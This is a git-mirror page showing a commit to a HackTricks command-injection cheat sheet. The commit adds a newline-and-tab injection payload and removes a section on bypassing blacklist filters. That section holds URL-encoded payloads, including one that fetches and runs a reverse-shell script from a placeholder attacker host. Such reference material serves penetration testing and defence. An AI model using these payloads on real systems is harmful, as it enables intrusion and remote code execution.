mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Update command-injection.md
This commit is contained in:
		
							parent
							
								
									399a99eefa
								
							
						
					
					
						commit
						ff4d1db05b
					
				@ -19,6 +19,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
 | 
				
			|||||||
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
 | 
					ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
 | 
				
			||||||
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
 | 
					ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
 | 
				
			||||||
ls %0A id # %0A Execute both (RECOMMENDED)
 | 
					ls %0A id # %0A Execute both (RECOMMENDED)
 | 
				
			||||||
 | 
					ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#Only unix supported
 | 
					#Only unix supported
 | 
				
			||||||
`ls` # ``
 | 
					`ls` # ``
 | 
				
			||||||
@ -131,37 +132,6 @@ powershell C:**2\n??e*d.*? # notepad
 | 
				
			|||||||
../linux-hardening/bypass-bash-restrictions/
 | 
					../linux-hardening/bypass-bash-restrictions/
 | 
				
			||||||
{{#endref}}
 | 
					{{#endref}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
##### Newline and tab blacklist bypass (space and metacharacters filtered)
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
Many “naive blacklist” filters block space and shell metacharacters like `;`, `&`, `|`, `` ` ``, `{`, `}`, `&&`, but forget to block newlines (`%0a`) and tabs (`%09`). If user input is concatenated into a shell command (for example via PHP `proc_open()`/`system()`), you can:
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
- Inject a newline to start a new command
 | 
					 | 
				
			||||||
- Use tabs as whitespace where space is blocked
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
Example payload for a password-like field reaching a shell (URL-encoded):
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
```
 | 
					 | 
				
			||||||
0xdf%0abash%09-c%09"id"%0a
 | 
					 | 
				
			||||||
```
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
The resulting process executes as two lines:
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
```
 | 
					 | 
				
			||||||
zip -x './backups/*' -r -P 0xdf
 | 
					 | 
				
			||||||
bash	-c	"id"
 | 
					 | 
				
			||||||
```
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
Chaining without `&`: fetch and execute a reverse shell in separate lines:
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
```
 | 
					 | 
				
			||||||
0xdf%0abash%09-c%09"curl%09http://ATTACKER/rev.sh"%0abash%09rev.sh%0a
 | 
					 | 
				
			||||||
```
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
Notes
 | 
					 | 
				
			||||||
- Newlines are command separators for POSIX shells; tabs are valid whitespace.
 | 
					 | 
				
			||||||
- This works even if spaces and `;|&` are filtered, as long as `\n` and `\t` are not.
 | 
					 | 
				
			||||||
- See PHP docs for `proc_open()`/`system()` behavior when given a string (it spawns `/bin/sh -c`).
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
### Node.js `child_process.exec` vs `execFile`
 | 
					### Node.js `child_process.exec` vs `execFile`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
When auditing JavaScript/TypeScript back-ends you will often encounter the Node.js `child_process` API.
 | 
					When auditing JavaScript/TypeScript back-ends you will often encounter the Node.js `child_process` API.
 | 
				
			||||||
 | 
				
			|||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user